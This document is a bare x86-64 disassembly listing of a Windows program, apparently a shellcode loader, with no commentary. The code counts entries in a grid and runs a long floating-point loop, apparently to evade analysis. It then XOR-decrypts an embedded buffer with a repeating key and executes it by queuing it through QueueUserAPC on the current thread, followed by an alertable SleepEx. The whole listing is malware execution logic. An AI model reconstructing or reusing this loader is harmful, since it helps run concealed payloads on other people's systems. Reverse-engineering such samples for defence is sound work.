mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x19
jle 0x140002931
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x29
jle 0x140002925
mov dword [rbp + 0x7fc], 0
jmp 0x140002a22
mov dword [rbp + 0x7f8], 0
jmp 0x140002a12
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002a0b
add dword [rbp + 0x800], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x19
jle 0x1400029cb
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x29
jle 0x1400029bf
cmp dword [rbp + 0x800], 0x222
je 0x140002a41
mov dword [rbp + 0x654], 0
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x818], 0
jmp 0x140002a63
add dword [rbp + 0x818], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x6a
jbe 0x140002586
mov dword [rbp + 0x81c], 0
pxor xmm0, xmm0
movss dword [rbp + 0x7f0], xmm0
mov dword [rbp + 0x7f4], 0
jmp 0x140002b14
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7f4]
movsd xmm0, qword [0x140006628]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x14000663c]
movd xmm0, eax
call fcn.140003cf0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7f4]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006628]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x7f0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7f0], xmm0
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x233
jle 0x140002a9b
movss xmm1, dword [rbp + 0x7f0]
movss xmm0, dword [0x140006640]
mulss xmm0, xmm1
movss dword [rbp + 0x7f0], xmm0
jmp 0x140002ba3
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x814], 0x6a
jne 0x140002b95
mov dword [rbp + 0x814], 0
jmp 0x140002b9c
add dword [rbp + 0x814], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x4f4
jle 0x140002b42
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x688]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret